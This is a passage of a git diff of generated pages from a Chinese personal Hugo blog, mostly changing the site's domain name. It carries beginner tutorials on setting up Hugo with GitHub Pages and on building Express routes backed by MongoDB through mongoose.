\u0026ndash;baseUrl=\u0026ldquo;http://chenjunlinabc.github.io/\u0026quot;\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了","keywords":["golang","Hugo"],"articleBody":"Hugo是基于Go语言开发的静态网站生成器，特点就是快\n安装\n二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）\nhttps://github.com/gohugoio/hugo/releases\n源码安装\ngit clone https://github.com/gohugoio/hugo.git\ncd hugo\ngo install\n检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加–tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）\n如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1\n生成站点\nhugo new site ./www\n创建文章（默认自动生成md文件到content文件夹中，可选择目录）\nhugo new post/hallo.md\n如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的\n安装主题\ngit clone https://github.com/miiiku/hugo-theme-kagome.git ./themes/kagome\n修改config.toml文件\nbaseURL = ‘https://blog.xiaochenabc123.test.com’ languageCode = ‘zh-CN’ title = ‘小陈的博客’ theme = “kagome”\n启动Hugo服务器\nhugo server\n访问http://localhost:1313\n如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本\n部署到github pages\nhugo –baseUrl=“http://chenjunlinabc.github.io/\"\n如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了\n","wordCount":"62","inLanguage":"en","datePublished":"2022-02-22T05:19:00Z","dateModified":"2022-02-22T05:19:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/137/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Hugo搭建网站</h1><div class=post-meta><span title='2022-02-22 05:19:00 +0000 UTC'>2022-02-22</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Hugo%e6%90%ad%e5%bb%ba%e7%bd%91%e7%ab%99.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Hugo是基于Go语言开发的静态网站生成器，特点就是快</p><p>安装</p><p>二进制文件安装（由官方编译完成的二进制文件来安装，推荐使用，用源码容易出现问题）</p><p><a href=https://github.com/gohugoio/hugo/releases>https://github.com/gohugoio/hugo/releases</a></p><p>源码安装</p><p>git clone <a href=https://github.com/gohugoio/hugo.git>https://github.com/gohugoio/hugo.git</a></p><p>cd hugo</p><p>go install</p><p>检查是否安装完成 hugo -v，如果需要支持SASS/SCSS，请添加&ndash;tags extended参数，不过在这之前需要CGO的依赖（或者使用hugo_extended版本）</p><p>如果没安装CGO，请先安装CGO，这里使用的是mingw64，CGO_ENABLED环境变量为1</p><p>生成站点</p><p>hugo new site ./www</p><p>创建文章（默认自动生成md文件到content文件夹中，可选择目录）</p><p>hugo new post/hallo.md</p><p>如果没有显示文章的话，请将文章的draft字段改为false，因为这个是草稿，草稿是不会显示在页面上的</p><p>安装主题</p><p>git clone <a href=https://github.com/miiiku/hugo-theme-kagome.git>https://github.com/miiiku/hugo-theme-kagome.git</a> ./themes/kagome</p><p>修改config.toml文件</p><p>baseURL = &lsquo;<a href=https://blog.xiaochenabc123.test.com>https://blog.xiaochenabc123.test.com</a>&rsquo;
 languageCode = &lsquo;zh-CN&rsquo;
 title = &lsquo;小陈的博客&rsquo;
-theme = &ldquo;kagome&rdquo;</p><p>启动Hugo服务器</p><p>hugo server</p><p>访问http://localhost:1313</p><p>如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本</p><p>部署到github pages</p><p>hugo &ndash;baseUrl=&ldquo;<a href=http://chenjunlinabc.github.io/%22>http://chenjunlinabc.github.io/"</a></p><p>如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/golang/>golang</a></li><li><a href=https://xiaochenabc123.github.io/tags/hugo/>Hugo</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/138/><span class=title>« Prev</span><br><span>简单使用Express-Web应用框架</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/136/><span class=title>Next »</span><br><span>简单了解RESTful设计规范</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+theme = &ldquo;kagome&rdquo;</p><p>启动Hugo服务器</p><p>hugo server</p><p>访问http://localhost:1313</p><p>如果报错，you need the extended version to build SCSS/SASS的话，请使用extended版本</p><p>部署到github pages</p><p>hugo &ndash;baseUrl=&ldquo;<a href=http://chenjunlinabc.github.io/%22>http://chenjunlinabc.github.io/"</a></p><p>如果该命令执行成功，会将静态页面生成到public文件夹中，只需要push该文件夹到github上就好了</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/golang/>golang</a></li><li><a href=https://chenjunlinabc.github.io/tags/hugo/>Hugo</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/138/><span class=title>« Prev</span><br><span>简单使用Express-Web应用框架</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/136/><span class=title>Next »</span><br><span>简单了解RESTful设计规范</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/138/index.html b/posts/138/index.html
index af0b6dee..13e42ca8 100644
--- a/posts/138/index.html
+++ b/posts/138/index.html
@@ -11,7 +11,7 @@
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require(&#34;express&#34;)
const app = express()
app.get('/',function(req,res){ res.end(&#34;hallo world!&#34;)
})
app.listen(3000)
运行
+const express = require(&#34;express&#34;) const app = express() app.get('/',function(req,res){ res.end(&#34;hallo world!&#34;) }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -22,8 +22,8 @@
 app.use(require(&lsquo;cors&rsquo;)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require('mongoose')
mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
const testdb = mongoose.model('testdb',new mongoose.Schema({
_id: Number,
title: String
}))
/*testdb.inserMany([
{_id: 1, title: &#34;abc&#34;},
{_id: 2, title: &#34;xyz&#34;}
{_id: 3, title: &#34;abcxyz&#34;}
])*/
app."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/138/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Express-Web应用框架"><meta property="og:description" content="Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
+const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: &#34;abc&#34;}, {_id: 2, title: &#34;xyz&#34;} {_id: 3, title: &#34;abcxyz&#34;} ])*/ app."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/138/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="简单使用Express-Web应用框架"><meta property="og:description" content="Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express &ndash;save
 或者安装express-generator脚手架
@@ -36,7 +36,7 @@
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require(&#34;express&#34;)
const app = express()
app.get('/',function(req,res){ res.end(&#34;hallo world!&#34;)
})
app.listen(3000)
运行
+const express = require(&#34;express&#34;) const app = express() app.get('/',function(req,res){ res.end(&#34;hallo world!&#34;) }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -47,7 +47,7 @@
 app.use(require(&lsquo;cors&rsquo;)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require('mongoose')
mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
const testdb = mongoose.model('testdb',new mongoose.Schema({
_id: Number,
title: String
}))
/*testdb.inserMany([
{_id: 1, title: &#34;abc&#34;},
{_id: 2, title: &#34;xyz&#34;}
{_id: 3, title: &#34;abcxyz&#34;}
])*/
app."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/138/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-28T18:04:00+00:00"><meta property="article:modified_time" content="2022-02-28T18:04:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Express-Web应用框架"><meta name=twitter:description content="Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
+const mongoose = require('mongoose') mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true}) const testdb = mongoose.model('testdb',new mongoose.Schema({ _id: Number, title: String })) /*testdb.inserMany([ {_id: 1, title: &#34;abc&#34;}, {_id: 2, title: &#34;xyz&#34;} {_id: 3, title: &#34;abcxyz&#34;} ])*/ app."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/138/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-02-28T18:04:00+00:00"><meta property="article:modified_time" content="2022-02-28T18:04:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="简单使用Express-Web应用框架"><meta name=twitter:description content="Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架
 安装
 npm install express &ndash;save
 或者安装express-generator脚手架
@@ -60,7 +60,7 @@
 运行
 npm start
 如果不使用脚手架（main.js）
-const express = require(&#34;express&#34;)
const app = express()
app.get('/',function(req,res){ res.end(&#34;hallo world!&#34;)
})
app.listen(3000)
运行
+const express = require(&#34;express&#34;) const app = express() app.get('/',function(req,res){ res.end(&#34;hallo world!&#34;) }) app.listen(3000) 运行
 node main.js
 或者（监视nodejs应用中的任何更改并自动重启服务）
 nodemon main.js
@@ -71,61 +71,61 @@
 app.use(require(&lsquo;cors&rsquo;)())
 Express连接MongoDB（mongoose）
 npm install mongoose
-const mongoose = require('mongoose')
mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
const testdb = mongoose.model('testdb',new mongoose.Schema({
_id: Number,
title: String
}))
/*testdb.inserMany([
{_id: 1, title: &#34;abc&#34;},
{_id: 2, title: &#34;xyz&#34;}
{_id: 3, title: &#34;abcxyz&#34;}
])*/
app."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Express-Web应用框架","item":"https://xiaochenabc123.github.io/posts/138/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Express-Web应用框架","name":"简单使用Express-Web应用框架","description":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express \u0026ndash;save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\u0026quot;express\u0026quot;)\rconst app = express()\rapp.get('/',function(req,res){ res.end(\u0026quot;hallo world!\u0026quot;)\r})\rapp.listen(3000)\r运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(\u0026rsquo;/src\u0026rsquo;,express.static(\u0026lsquo;src\u0026rsquo;))\n解决跨域问题（依赖于cors模块）\napp.use(require(\u0026lsquo;cors\u0026rsquo;)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose')\rmongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})\rconst testdb = mongoose.model('testdb',new mongoose.Schema({\r_id: Number,\rtitle: String\r}))\r/*testdb.inserMany([\r{_id: 1, title: \u0026quot;abc\u0026quot;},\r{_id: 2, title: \u0026quot;xyz\u0026quot;}\r{_id: 3, title: \u0026quot;abcxyz\u0026quot;}\r])*/\rapp.","keywords":["Express"],"articleBody":"Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架\n安装\nnpm install express –save\n或者安装express-generator脚手架\nnpm install -g express-generator\n脚手架：\n初始化项目（demo是项目名）\nexpress demo\n安装依赖\nnpm install\n运行\nnpm start\n如果不使用脚手架（main.js）\nconst express = require(\"express\")\rconst app = express()\rapp.get('/',function(req,res){ res.end(\"hallo world!\")\r})\rapp.listen(3000)\r运行\nnode main.js\n或者（监视nodejs应用中的任何更改并自动重启服务）\nnodemon main.js\n访问localhost:3000\n静态文件管理（必须通过/src才能访问src文件夹的静态文件）\napp.use(’/src’,express.static(‘src’))\n解决跨域问题（依赖于cors模块）\napp.use(require(‘cors’)())\nExpress连接MongoDB（mongoose）\nnpm install mongoose\nconst mongoose = require('mongoose')\rmongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})\rconst testdb = mongoose.model('testdb',new mongoose.Schema({\r_id: Number,\rtitle: String\r}))\r/*testdb.inserMany([\r{_id: 1, title: \"abc\"},\r{_id: 2, title: \"xyz\"}\r{_id: 3, title: \"abcxyz\"}\r])*/\rapp.get('/test',async function(req,res){\rres.send(await testdb.find())\r})\r查询MongoDB数据\napp.get('/test',async function(req,res){\r// const data = await testdb.find().skip(1).limit(2)\r/* const data = await testdb.find().where({\rtitle: 'abc'\r*/\rconst data = await testdb.find().sort({\r_id: -1\r})\rres.send(data)\r})\rskip(1)跳过多少条，limit(2)显示多少条，where()可指定查询某个字段为某个值的数据，sort()表示排序的顺序（1为正序，-1为倒序）\napp.get('/test/:id',async function(req,res){\rconst data = await testdb.findById(req.params.id)\rres.send(data)\r})\r访问localhost:3000/test/2\n注意：req和res的区别，req是客户端请求，res是服务端响应\n插入数据到MongoDB中\napp.use(express.json()) // 通过express.json()中间件，解析body中的json数据\rapp.post('/admin' async function(req,res){\rconst data = req.body // 获取前端post请求的body数据\rconst dataMain = await testdb.create(data) // body数据create到MongoDB数据库中\rres.send(dataMain)\r})\r修改MongoDB数据\napp.put('/admin/:id' async function(req,res){\rconst data = await testdb.findById(req.params.id) // 寻找目标id\rdata.title = req.body.title // 将请求body的title赋值到数据库中的目标id的title\rawait data.save() // 保存到数据库中\rres.send(data)\r})\r删除MongoDB数据\napp.delete('/admin/:id' async function(req,res){\rconst data = await testdb.findById(req.params.id) // 寻找目标id\rawait data.remove() // 从数据库中删除该数据\rres.send({\rcode: 200\r})\r})\r","wordCount":"189","inLanguage":"en","datePublished":"2022-02-28T18:04:00Z","dateModified":"2022-02-28T18:04:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/138/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Express-Web应用框架</h1><div class=post-meta><span title='2022-02-28 18:04:00 +0000 UTC'>2022-02-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Express-Web%e5%ba%94%e7%94%a8%e6%a1%86%e6%9e%b6.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Express是基于nodejs的web应用框架（同时也是node的第三库），同时也是很多web应用框架的底层库，Express是cjs模块标准的http服务框架</p><p>安装</p><p>npm install express &ndash;save</p><p>或者安装express-generator脚手架</p><p>npm install -g express-generator</p><p>脚手架：</p><p>初始化项目（demo是项目名）</p><p>express demo</p><p>安装依赖</p><p>npm install</p><p>运行</p><p>npm start</p><p>如果不使用脚手架（main.js）</p><pre><code>const express = require(&quot;express&quot;)
-const app = express()
-app.get('/',function(req,res){ 
-    res.end(&quot;hallo world!&quot;)
-})
-app.listen(3000)
-</code></pre><p>运行</p><p>node main.js</p><p>或者（监视nodejs应用中的任何更改并自动重启服务）</p><p>nodemon main.js</p><p>访问localhost:3000</p><p>静态文件管理（必须通过/src才能访问src文件夹的静态文件）</p><p>app.use(&rsquo;/src&rsquo;,express.static(&lsquo;src&rsquo;))</p><p>解决跨域问题（依赖于cors模块）</p><p>app.use(require(&lsquo;cors&rsquo;)())</p><p>Express连接MongoDB（mongoose）</p><p>npm install mongoose</p><pre><code>const mongoose = require('mongoose')
-mongoose.connect('mongodb://localhost:27014/test',{useNewUrlParser: true})
-const testdb = mongoose.model('testdb',new mongoose.Schema({
-    _id: Number,
-    title: String
-}))
-/*testdb.inserMany([
-    {_id: 1, title: &quot;abc&quot;},
-    {_id: 2, title: &quot;xyz&quot;}
-    {_id: 3, title: &quot;abcxyz&quot;}
-])*/
-app.get('/test',async function(req,res){
-    res.send(await testdb.find())
-})
-</code></pre><p>查询MongoDB数据</p><pre><code>app.get('/test',async function(req,res){
-    // const data = await testdb.find().skip(1).limit(2)
-    /* const data = await testdb.find().where({
-       title: 'abc'
-    */
-    const data = await testdb.find().sort({
-        _id: -1
-    })
-    res.send(data)
-})
-</code></pre><p>skip(1)跳过多少条，limit(2)显示多少条，where()可指定查询某个字段为某个值的数据，sort()表示排序的顺序（1为正序，-1为倒序）</p><pre><code>app.get('/test/:id',async function(req,res){
-    const data = await testdb.findById(req.params.id)
-    res.send(data)
-})
